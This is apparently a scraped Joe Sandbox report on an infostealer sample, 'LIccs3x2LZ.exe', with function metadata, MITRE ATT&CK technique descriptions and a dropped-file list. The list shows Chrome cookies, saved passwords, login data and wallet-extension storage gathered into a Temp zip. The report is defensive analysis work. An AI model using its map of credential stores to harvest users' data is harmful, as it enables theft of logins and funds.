Opcode ID: 848e1b8365a415ab2386b715eaf1ef8ec427ca92252b8635529b33a23d38c9f7
Instruction ID: b893905e445ca9e9f204b4b9c6fe82c59b1a623f5a374d2ef1d7f1d2ab7b96c9
Opcode Fuzzy Hash: 848e1b8365a415ab2386b715eaf1ef8ec427ca92252b8635529b33a23d38c9f7
Instruction Fuzzy Hash: 7F219163B0D7C14AD7138F39A46405C7F70DB9AB80B8AC2ABD3C943693E95CA895C315

Function 00007FF6929E2020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6929E1B4A), ref: 00007FF6929E2070

Strings

[PYI-%d:ERROR] , xrefs: 00007FF6929E2078
%s: %s, xrefs: 00007FF6929E20EF

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$[PYI-%d:ERROR]
API String ID: 2050909247-3704582800
Opcode ID: cf9b01a4511ef92980d36f6eaa2bfca0541e126ccd784a3e4475787c2cf8d358
Instruction ID: 51058a8d96ded178f28062a3f5b7f00aca07bd582d1444b632f6fa61eb758c11
Opcode Fuzzy Hash: cf9b01a4511ef92980d36f6eaa2bfca0541e126ccd784a3e4475787c2cf8d358
Instruction Fuzzy Hash: 29218073A18A8155F7309762A8516FA6394FF88BD8F404171FE8ED7B8ADEBCD546C200

Function 00007FF692A007C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF692A00808
GetCurrentDirectoryW.KERNEL32 ref: 00007FF692A0085A

Strings

:, xrefs: 00007FF692A0081E

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 8dc676d833497c624d656039439a36a4b43826c3c7b138b4c54fe0ebad1123f1
Instruction ID: d95222bba71b0256474f1c47666075493168aefb38b781f8395a2882d647b519
Opcode Fuzzy Hash: 8dc676d833497c624d656039439a36a4b43826c3c7b138b4c54fe0ebad1123f1
Instruction Fuzzy Hash: 0321EF33B0868182FB349B12D45427E73B1FB89B88F458075DA8D83685CFBCE949C788

Function 00007FF6929E2140 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF6929E28DA,FFFFFFFF,00000000,00007FF6929E3362), ref: 00007FF6929E218E

Strings

WARNING, xrefs: 00007FF6929E219D
[PYI-%d:%s] , xrefs: 00007FF6929E2196

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: WARNING$[PYI-%d:%s]
API String ID: 2050909247-3752221249
Opcode ID: 7d68ee11a32ffdc820f588c9092a71756a31bd868f965a857c73b3f1f744551a
Instruction ID: e33d9e84a59e7b6ab7a407d0f8487fb2690420bf9d1beafeee2fd0438d0b6e15
Opcode Fuzzy Hash: 7d68ee11a32ffdc820f588c9092a71756a31bd868f965a857c73b3f1f744551a
Instruction Fuzzy Hash: 28119373A18B8141F7309B52B8915EA7354FF847C8F400175FA8D93A5ADEBCD555C700

Function 00007FF6929E1E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF6929E1B79), ref: 00007FF6929E1E9E

Strings

ERROR, xrefs: 00007FF6929E1EAD
[PYI-%d:%s] , xrefs: 00007FF6929E1EA6

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$[PYI-%d:%s]
API String ID: 2050909247-3005936843
Opcode ID: 62cbc377ad39f0f57ac113c1b5e744fc407643feec6e9a2503ac327b26b25e1c
Instruction ID: ed5f7403ff8eb9792084c223fd88b492657034c5743e8b1551a816525faa2767
Opcode Fuzzy Hash: 62cbc377ad39f0f57ac113c1b5e744fc407643feec6e9a2503ac327b26b25e1c
Instruction Fuzzy Hash: 40119373618B8141F7309B52B4816EA7364FF847C8F400175FA8D93A5ADEBCD555C700

Function 00007FF8B7DE1ED0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_wassert.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,00007FF8B7DE1E7F), ref: 00007FF8B7DE1F14

Strings

src/scrypt.c, xrefs: 00007FF8B7DE1F06
(void*)in != (void*)out, xrefs: 00007FF8B7DE1F0D

Memory Dump Source

Source File: 00000003.00000002.2147675299.00007FF8B7DE1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8B7DE0000, based on PE: true

Associated: 00000003.00000002.2147595433.00007FF8B7DE0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147802650.00007FF8B7DE3000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147833244.00007FF8B7DE4000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147876592.00007FF8B7DE5000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7de0000_LIccs3x2LZ.jbxd

Similarity

API ID: _wassert
String ID: (void*)in != (void*)out$src/scrypt.c
API String ID: 3234217646-1092544927
Opcode ID: 3f74783a774495b2fb1495f69d0df3a82a369050092964074b4d48987a3f409d
Instruction ID: db49fa0508c573b02af6ac3ebd32de73cd7ea2d8551384cebc68ab6fe49fb8f2
Opcode Fuzzy Hash: 3f74783a774495b2fb1495f69d0df3a82a369050092964074b4d48987a3f409d
Instruction Fuzzy Hash: 4911C263B04B9182DE15CB06BC002A9A660FB94BE0F4C4631EF6D07BA8DF3CC546C704

Function 00007FF6929EF278 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6929EF2C8
RaiseException.KERNEL32 ref: 00007FF6929EF309

Strings

csm, xrefs: 00007FF6929EF2F6

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 2d92b8b7d521df9494866c30e4ae755c0f7892732a35e9ef4a1741b3f71c7287
Instruction ID: 07a1497361648c9d1a1c8ef85e37ada957ec56217c7248f595da59fecb6b6798
Opcode Fuzzy Hash: 2d92b8b7d521df9494866c30e4ae755c0f7892732a35e9ef4a1741b3f71c7287
Instruction Fuzzy Hash: 99116D37A08B8082EB218F15F440269B7E0FB89B88F584271DE8D47B69DF7CD551CB40

Function 00007FF692A0194C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A0197C
GetDriveTypeW.KERNEL32 ref: 00007FF692A019BC

Strings

:, xrefs: 00007FF692A019A5

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: bb470fc7cf78428f0d9dc0079e6dc4031c2c99e910ba5258b42cac156009a768
Instruction ID: 68e6fe6a3ab1e3b31ad7fd62d05fdc1a9b374f1cf0261ef9310a3e1bc23dc8e5
Opcode Fuzzy Hash: bb470fc7cf78428f0d9dc0079e6dc4031c2c99e910ba5258b42cac156009a768
Instruction Fuzzy Hash: 74018F63D1C20286F770AF6194612BE63A0FF5A74CF800075E94DC6682EFBCE9058B14

Function 00007FF8A8994EB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8A8994EC8
_msize.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8A8994ED9

Strings

failed memory resize %u to %u bytes, xrefs: 00007FF8A8994EE2

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: _msizerealloc
String ID: failed memory resize %u to %u bytes
API String ID: 2713192863-2134078882
Opcode ID: 25e016c661dba543847d2fd5e226456d942ad9190e73ec50d7ade577963d402d
Instruction ID: 3752eb5f4f52e0a7a31d80a6d802e0c4e1e858f173e330079da1490e3ee72f6c
Opcode Fuzzy Hash: 25e016c661dba543847d2fd5e226456d942ad9190e73ec50d7ade577963d402d
Instruction Fuzzy Hash: 0DE0A9A4B0BA8191EB148B86B9444796220EF0CFC5F084030EE5E07B28FF2CE882C308

Function 00007FF8A89E1FC0 Relevance: 5.2, APIs: 4, Instructions: 221COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89E20A7
memmove.VCRUNTIME140 ref: 00007FF8A89E20FB
memmove.VCRUNTIME140 ref: 00007FF8A89E2157
memmove.VCRUNTIME140 ref: 00007FF8A89E21D7

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: b3744d338768f22f15ff4d737b0377bec664c69b1828c16e9c330fa4a4c046df
Instruction ID: 81a6270156a235c734be19cf80e1a6045157e728f1cab58bd0113d192b14fcb4
Opcode Fuzzy Hash: b3744d338768f22f15ff4d737b0377bec664c69b1828c16e9c330fa4a4c046df
Instruction Fuzzy Hash: 4991A271B0A742ABEA658E5295482697B90FB48BD1F0D5234EE6E07BC1EF3CE4608714

Function 00007FF8A8A5DA20 Relevance: 5.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A5DB02
memmove.VCRUNTIME140 ref: 00007FF8A8A5DB37
memmove.VCRUNTIME140 ref: 00007FF8A8A5DB67
memmove.VCRUNTIME140 ref: 00007FF8A8A5DB87

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 640c3ceb231531281274f186c15917ad193f4170aa703ec24a17cf123ce257dc
Instruction ID: fda601879e2f1969764ea7d8da089ce92b806fc11b969a0453234d2ac21b3cc6
Opcode Fuzzy Hash: 640c3ceb231531281274f186c15917ad193f4170aa703ec24a17cf123ce257dc
Instruction Fuzzy Hash: FC414962E0E6C5A5EB15DF01A5012BAAB92EB44BD4F485231CF5E07785EF3CF082C319

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LIccs3x2LZ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3.zip

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Chrome_cookies.json

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Chrome_passwords.json

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Cookies

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\History

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOG

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Storage\leveldb\CURRENT

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Storage\leveldb\LOG

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Storage\leveldb\MANIFEST-000001

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Login Data

